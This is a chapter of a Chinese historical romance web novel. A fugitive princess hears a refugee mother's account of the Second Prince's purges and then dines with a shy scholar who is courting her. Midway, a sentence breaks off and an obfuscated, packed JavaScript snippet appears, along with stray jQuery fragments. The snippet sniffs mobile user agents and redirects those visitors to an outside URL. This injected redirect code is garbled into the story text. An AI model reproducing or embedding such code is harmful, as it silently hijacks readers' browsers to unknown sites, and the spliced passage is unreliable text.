大婶走后,祝今朝还在回想那句二皇子的军队离这就半个月的路程了。
若是二皇兄到了这,他的手下定是能认出她来的,军队若是到了这里...她还得想些法子才好。
她独自来到温阳县的城门处,城门大敞着,无人看守,也确实有不少的人从北边来到这里,拖家带口的。
她对战乱的实感一点点加强,却没有办法,她连自身都难以保全。
一位妇人抱着孩子从外头进来,走进城门后,看着像是松了口气,在一旁的馄饨铺子里找了个位置坐下。
却又在看到价格时,预备起身离开,怀里的小孩哭闹不止,妇人顿时手忙脚乱,连忙拍着孩子的背哄着。
祝今朝想了想,走上前去,在那妇人的对面坐下:“老板,来碗馄饨给她。”
她看了看木牌上的价格,原本卖五文的馄饨,现在竟要人十文。
十文便十文,看着也可怜,她数好铜板放在桌上。这账算在她头上,不与江渡舟说罢了。
老板收了钱,利落地掀开锅盖下馄饨。
妇人不好意思地笑笑,想拒绝,可身上的口粮也没了,怀里的孩子哭闹不止,不知是冷的还是饿的,最终还是收下了祝今朝的好意:“多谢姑娘。”
馄饨端上来了。粗瓷碗盛着满满一碗馄饨,个个饱满,汤里还冒着热气。
妇人小心的舀起一个馄饨,轻轻吹凉,先喂给了怀里的孩子。
待安静下来后,祝今朝才开口问道:“大嫂,你们是打哪边来的?”
“我们是从阳西城来的,哦,姑娘可能没听过,小地方,就是苍州底下的一个郡县。”
“那边...现在如何了?”祝今朝缓缓问道。
“城里的士兵看到他们来了一开城门便降了,只要是主动降了的城,那位...都不会再打了。”
“既然不打了,那为何你们还要逃来这边?”
妇人的脸色暗了暗,低头看着怀里吃饱了开始犯困的孩子,声音压得很低:“二皇子的人一来,就没消停过。一开始还只是换了个官,贴了告示说安民,后来就开始挨家挨户地敲门了。”
“我家那口子,原先在县衙里做个抄书的差事,就是写写公文什么的。结果一来便说是调查敌方余孽,要带抓走我们。”
“我们这才跑了出来,只是我家那口子怕是...”妇人说着说着哽咽了起来。
祝今朝看着,也不知如何安慰,待妇人情绪缓和下来后,才又问道:“苍州其他的地方如何了?”
“其他郡县不肯降的已经是血流成河了。”
不肯降的便硬攻,主动降了的城便不会再打了,这跟她从前对二皇兄了解一样,他这人虽然阴沉,却不嗜杀,能用最小的代价拿下的城,他绝不会多费一兵一卒。
只是清理官员这事...未免有些太过了,她知道,这是担心那些官员有二心,可这些官员都是父皇还在的时候任命的,也有其他皇子没有关联,何至于此呢。
祝今朝又将视线放在对面的妇人身上,怀里的小孩吃饱后已经睡着了,这么小的孩子便要流离失所。
她深吸了一口气,把那些翻涌的情绪压下去,又问了妇人几句路上的情形。
妇人告诉她,官道沿途已经不太平了,常有匪徒出没,专挑逃难的人下手,而匪徒大多也是落难的人走投无路才落草。
那妇人走后,祝今朝又思索起来,得尽快离开这了,照妇人的说法,连官员都留不得,更别提她这个公主了。
只是苍州...还要不要去呢?
“朱姑娘?”一道身影在她的对面坐下,“还真是你?”
祝今朝抬头,对上一张清秀的脸,是一位年轻的男子。
她辨认了片刻,才从记忆里把这张脸和那个西街上的秀才对上号。
大婶之前说过好几回,西街上有个秀才隔三差五打听她,她是见过这人好几回的,只不过从来没搭过话。
认识一下倒也无妨,长得倒还不错,祝今朝想着。
“在下姓陆,单名一个字谦。”陆谦在她对面坐下,整了整衣袖,开口道,“就住西街巷口那间书铺后面,一直想认识一下姑娘,可惜没有机会。”
“如今正好,遇见姑娘了。”
祝今朝笑了笑,礼貌道:“陆公子,久闻大名。”
陆谦似乎对她的客套话很是受用,愣了一瞬,又道:“朱姑娘怎一个人在这儿坐着?你弟弟今日没出来?”
“他出门干活去了。”
“这样啊,我看时候也不早了,不如我请姑娘去酒楼里吃顿饭?”
酒楼?她已经许久未去过酒楼吃饭了,看着眼前的人,邀请的话倒是说的顺畅,只是人还有些紧张地搓着手指,很是青涩。
于是她点点头:“行。”
陆谦明显地松了一口气,连忙起身在前面引路。两人沿着东街往西走,拐进一条宽些的街面,陆谦在一栋两层的小楼前停下脚步。
酒楼里没什么人。一楼摆着五六张桌子,只两桌坐了人,都是沉默低头吃饭的客商模样。
一个伙计靠在柜台上打盹,见有人进来才懒懒地直起身来,如今酒楼的生意也不大好了。
处处涨价,战乱时银钱更是不够用了,寻常人家哪里还会来酒楼吃饭。
陆谦要了个二楼靠窗的位置,坐下来后视野倒是好,能望见半条街面。
伙计端了茶上来,又递过一张手写的菜单,陆谦接过来看了看,推到祝今朝面前:“朱姑娘你来点,不用客气。”
祝今朝低头扫了一眼,菜单上的菜名倒是有几个像样的,虽是比不上从前她吃的那些,但也比这几日好了不少。
上头的价钱也都标得清清楚楚,不便宜,她没有点些其他的,只要了一碗牛肉面,陆谦看了她点的,又添了一碟桂花糕和几道热菜。
“这顿倒也不用陆公子破费,”祝今朝从怀里掏出那个钱袋子,数出铜板递给他,“我们一人一半。”
她做绣活的积蓄短短一日便要被她挥霍完了。
这份花费也不必与江渡舟说了,算在她自己头上,她讪讪然地想着,江渡舟日日起早贪黑的,若是得知她在这里大鱼大肉...
陆谦倒是连连推脱,急得脸都红了:“朱姑娘...我知晓你们现在...日子过得紧,真的不必了。”
“真的不必了。”他加重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731747|208967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了语气。
祝今朝争不过他,还是接受了他的好意:“多谢了,我会记得的。”
陆谦见她松口,才终于放松下来,他喝了一口茶,润了润唇,才又道:“不知朱姑娘,之后有什么打算?”
她没隐瞒,直截了当地道:“我们过几日就要离开这了。”
陆谦的手一顿,茶杯里的茶险些撒了出来:“是...是要往南走吗?我可以同你们一起!”
祝今朝摇摇头:“我们要往北走。”
“往北走?”陆谦不淡定起来:“朱姑娘你莫不是弄错了,北边现在可是在打仗呢!”
“嗯,那边有亲戚。”
“那...那...”他有些语无伦次,不知道该说些什么,本想着若是往南走,他可以同她一道。
她第一日来到温阳县,陆谦便注意到了她,生得这样好看的姑娘在这里可不多见,他这才去打听了她的名讳。
可他们才刚认识,便要离开了吗?
祝今朝低着头专心地吃着她的牛肉面,丝毫没注意到对面的人千折百转的心思。
待吃完后,才抬起头来,看到对面的人一副食不下咽的样子。
“怎么了?”
“没有没有,我就是...就是觉得你们走那么远的路,得做好周全的准备。北边如今乱得很,路上怕是连歇脚的地方都不好找。”
“嗯,我知道。”祝今朝点了点头,擦了擦嘴,“所以我才想着尽快走。”
两人从酒楼里出来的时候,天已经彻底黑了,风也比白日里刮得更猛烈了些,祝今朝冷地瑟缩了一下。
陆谦见状,连忙把自己身上那件厚斗篷轻轻披在了她肩上。
“风大,你穿着。”
祝今朝被这突如其来的暖意罩住,她侧头看向他,陆谦不好意思地挠着头笑了笑,怕她推脱,又道:“我穿得比你厚实多了,你穿着吧。”
她知道陆谦的心思,将他的那些反应看在眼里,却是默不作声没有推辞。
反正她马上就要走了。
“多谢。”
“我送你回去吧,姑娘家的这么晚了不安全。”
“好。”
陆谦沉默着走了一段,不时的看向祝今朝,终是忍不住开口道:“朱姑娘,你们去了北边之后,打算在那边久住吗?”
“不一定。”祝今朝说,“看之后的局势是否会安稳下来。”
她又看了一眼这个在她面前略显紧张的年轻男子,缓缓道:“或许会有机会再来到这边。”
陆谦听了,点了点头,又沉默了一小段路,踌躇了好几次才又开口:“那若是...若是你们在那边安顿下来了,能不能给我捎个信?我好知道我该往哪儿去寻你们。”
他说着话的声音越来越低,最后几个字都要飘散在风里。
祝今朝浅笑:“陆公子不是准备参加科举吗?”
“待你考上,如何有时间来寻我?”她看着他,眉眼弯弯。
陆谦被她这句话问住了,他张了张嘴,又合上,耳根在夜色里慢慢地红起来。
他小声道:“只要愿意的话,总有时间的。”
祝今朝没再说话。